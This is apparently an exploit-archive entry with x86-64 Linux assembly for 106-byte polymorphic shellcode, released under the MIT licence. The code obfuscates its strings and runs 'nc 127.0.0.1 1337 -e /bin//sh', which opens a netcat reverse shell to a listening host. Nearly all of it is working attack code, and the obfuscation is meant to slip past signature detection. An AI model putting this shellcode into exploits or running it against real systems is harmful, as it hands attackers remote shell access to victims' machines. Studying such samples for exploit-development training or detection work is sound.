Linux/x86-64 - Polymorphic NetCat Reverse Shell Shellcode (106 bytes)

;The MIT License (MIT)
 
;Copyright (c) 2017 Robert L. Taylor
 
;Permission is hereby granted, free of charge, to any person obtaining a 
;copy of this software and associated documentation files (the “Software”), 
;to deal in the Software without restriction, including without limitation 
;the rights to use, copy, modify, merge, publish, distribute, sublicense, 
;and/or sell copies of the Software, and to permit persons to whom the 
;Software is furnished to do so, subject to the following conditions:
 
;The above copyright notice and this permission notice shall be included 
;in all copies or substantial portions of the Software.
 
;The Software is provided “as is”, without warranty of any kind, express or
;implied, including but not limited to the warranties of merchantability, 
;fitness for a particular purpose and noninfringement. In no event shall the
;authors or copyright holders be liable for any claim, damages or other 
;liability, whether in an action of contract, tort or otherwise, arising 
;from, out of or in connection with the software or the use or other 
;dealings in the Software.
; For a detailed explanation of this shellcode see my blog post: 
; http://a41l4.blogspot.ca/2017/03/polynetcatrevshell1434.html
 
global _start 
 
section .text
 
_start:
    jmp next
sh:
    db 0x68,0x73,0x2f,0x2f,0x6e,0x69,0x62,0x2f
nc:
    db 0x63,0x6e,0x2f,0x2f,0x6e,0x69,0x62,0x2f
ip:
    db 0x2e,0x30,0x2e,0x30,0x2e,0x37,0x32,0x31
handle:
    pop rcx
    lodsq
    bswap rax
    push rax
    push rsp
    push rcx
    ret
next:
    xor edx,edx
    lea rsi,[rel sh]
    push rdx
    call handle
    pop rbx
 
    push rdx
    call handle
    pop rdi
 
    push '1'
    call handle
    pop r12
 
    push '1337'
    push rsp
    pop rcx
 
    push rdx
    push word '-e'
    push rsp
    pop rax
     
    push rdx ; push null
    push rbx ; '/bin//sh'
    push rax ; '-e'
    push rcx ; '1337' 
    push r12 ; '127.0.0.1'
    push rdi ; '/bin//nc'
    push rsp
    pop rsi  ; address of array of pointers to strings
     
    ; some magic to put 3b (59) into RAX     
    ; note that this depends on the push "-e" 
    ; and it's position on the stack
    mov rax,[rsp + 48]
    shr rax,8
    sub rax,0x2a
    syscall